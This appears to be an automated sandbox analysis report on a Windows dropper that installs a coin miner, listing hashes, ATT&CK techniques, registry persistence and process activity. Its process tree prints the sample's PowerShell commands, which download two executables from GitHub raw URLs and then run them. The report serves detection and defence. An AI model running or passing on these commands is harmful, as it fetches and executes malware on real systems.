5b438029e5a3e3843b22f8f49fa1ccac728eeced3f923426be8b22c35b27b6f6

Analysis

max time kernel
51s
max time network
153s
platform
windows10_x64
resource
win10-20220414-en
resource tags

arch:x64arch:x86image:win10-20220414-enlocale:en-usos:windows10-1703-x64system
submitted
01-08-2022 02:28

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General

Target

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
Size

8.3MB
MD5

9ed9ad87a1564fbb5e1b652b3e7148c8
SHA1

0c001b7e9615cbc22eac2a324d8deb7eaf069ff7
SHA256

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89
SHA512

e49e403a73ff1d10111d23cc70ae95ffae63abbc4a52cfc52c447ee9f15e76ab44f07d0f41e3b3e63a73a07e7748b8ac7ed8c997f1051a10ca5fad1dace4183a

Score

10^/10

persistence

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/jkh36/d/main/bild.exe

exe.dropper

https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe

Signatures

Executes dropped EXE 1 IoCs

Processes:

PhoenixMiner.exe

pid process

1184 PhoenixMiner.exe

pid	process
1184	PhoenixMiner.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

PhoenixMiner.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	PhoenixMiner.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	PhoenixMiner.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4352 powershell.exe
4352 powershell.exe
4352 powershell.exe
3280 powershell.exe
3280 powershell.exe
3280 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4352 powershell.exe
Token: SeDebugPrivilege 3280 powershell.exe

pid	process
4352	powershell.exe
4352	powershell.exe
4352	powershell.exe
3280	powershell.exe
3280	powershell.exe
3280	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	3280	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exePhoenixMiner.exe

description	pid	process	target process
PID 808 wrote to memory of 1184	808	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 808 wrote to memory of 1184	808	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 808 wrote to memory of 1184	808	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 1184 wrote to memory of 4352	1184	PhoenixMiner.exe	powershell.exe
PID 1184 wrote to memory of 4352	1184	PhoenixMiner.exe	powershell.exe
PID 1184 wrote to memory of 4352	1184	PhoenixMiner.exe	powershell.exe
PID 1184 wrote to memory of 3280	1184	PhoenixMiner.exe	powershell.exe
PID 1184 wrote to memory of 3280	1184	PhoenixMiner.exe	powershell.exe
PID 1184 wrote to memory of 3280	1184	PhoenixMiner.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
"C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:808

C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1184

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://raw.githubusercontent.com/jkh36/d/main/bild.exe,https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe -Destination lWr.exe,ck.exe;
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4352

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command Start-Process lWr.exe; Start-Process ck.exe;
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3280

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
6ed4b3d25a6f22e8dcef5167080ceb75

SHA1
b953ecc8de151b85f0b64784235a924b609582ca

SHA256
d4e932b7151d03a034cc4c0567082d2390fc791dc95b2a4d9a0623acbf4d2384

SHA512
80ef5c4be3611238fb1f15561fd1ae8101482e8b94897be141a0d9728851bc6edf3c497a619acef7ff481a5e45b24df5584b32979d9006cc2c1e61fd2aed9d9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
19KB

MD5
6236fd33161d3adc15818a2139ba0136

SHA1
bc1b5b7c115a2f8eee9cb564c1287bc66ad820c3

SHA256
5f725b68c7b28636ac2916362ac6f5d06e8615d77a2d7e99d47646911e7469c1

SHA512
1a778471208462bfa0457e72b9511729196d669302965b6ecf78eec0b1e6aa5ac404db4a4de8350f3c1ecf1cdc5ac2244746de636449b46572cc517501a001d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
Filesize
8.2MB

MD5
c74ab76362f2321b7143e8ba2517c16b

SHA1
6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

SHA256
938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

SHA512
2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
Filesize
8.2MB

MD5
c74ab76362f2321b7143e8ba2517c16b

SHA1
6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

SHA256
938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

SHA512
2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

Download Submit
memory/808-142-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-150-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-126-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-127-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-128-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-129-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-131-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-132-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-133-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-130-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-134-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-135-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-136-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-137-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-138-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-139-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-140-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-169-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-118-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-143-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-144-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-145-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-146-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-147-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-148-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-149-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-167-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-151-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-152-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-153-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-154-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-155-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-156-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-157-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-158-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-159-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-161-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-160-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-162-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-163-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-164-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-165-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-176-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-124-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-141-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-168-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-170-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-171-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-172-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-173-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-174-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-175-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-166-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-177-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-178-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-179-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-180-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-181-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-182-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-183-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-119-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-123-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-121-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/808-120-0x0000000077450000-0x00000000775DE000-memory.dmp

Filesize
1.6MB

Download
memory/1184-185-0x0000000000000000-mapping.dmp

Download
memory/3280-410-0x0000000000000000-mapping.dmp

Download
memory/3280-505-0x0000000009820000-0x00000000098C5000-memory.dmp

Filesize
660KB

Download
memory/3280-711-0x0000000009960000-0x000000000997A000-memory.dmp

Filesize
104KB

Download
memory/3280-496-0x00000000096D0000-0x00000000096EE000-memory.dmp

Filesize
120KB

Download
memory/3280-495-0x00000000096F0000-0x0000000009723000-memory.dmp

Filesize
204KB

Download
memory/3280-716-0x0000000009950000-0x0000000009958000-memory.dmp

Filesize
32KB

Download
memory/4352-295-0x0000000007850000-0x00000000078B6000-memory.dmp

Filesize
408KB

Download
memory/4352-396-0x00000000094F0000-0x0000000009502000-memory.dmp

Filesize
72KB

Download
memory/4352-320-0x0000000009250000-0x0000000009272000-memory.dmp

Filesize
136KB

Download
memory/4352-301-0x0000000007F20000-0x0000000007F6B000-memory.dmp

Filesize
300KB

Download
memory/4352-318-0x0000000009280000-0x0000000009314000-memory.dmp

Filesize
592KB

Download
memory/4352-293-0x0000000007130000-0x0000000007152000-memory.dmp

Filesize
136KB

Download
memory/4352-300-0x0000000007980000-0x000000000799C000-memory.dmp

Filesize
112KB

Download
memory/4352-305-0x0000000008260000-0x00000000082D6000-memory.dmp

Filesize
472KB

Download
memory/4352-270-0x0000000006A50000-0x0000000006A86000-memory.dmp

Filesize
216KB

Download
memory/4352-230-0x0000000000000000-mapping.dmp

Download
memory/4352-275-0x0000000007220000-0x0000000007848000-memory.dmp

Filesize
6.2MB

Download
memory/4352-297-0x0000000007B60000-0x0000000007EB0000-memory.dmp

Filesize
3.3MB

Download
memory/4352-296-0x0000000007AA0000-0x0000000007B06000-memory.dmp

Filesize
408KB

Download
memory/4352-319-0x0000000009200000-0x000000000921A000-memory.dmp

Filesize
104KB

Download
memory/4352-321-0x0000000009820000-0x0000000009D1E000-memory.dmp

Filesize
5.0MB

Download
memory/4352-362-0x0000000009360000-0x0000000009380000-memory.dmp

Filesize
128KB

Download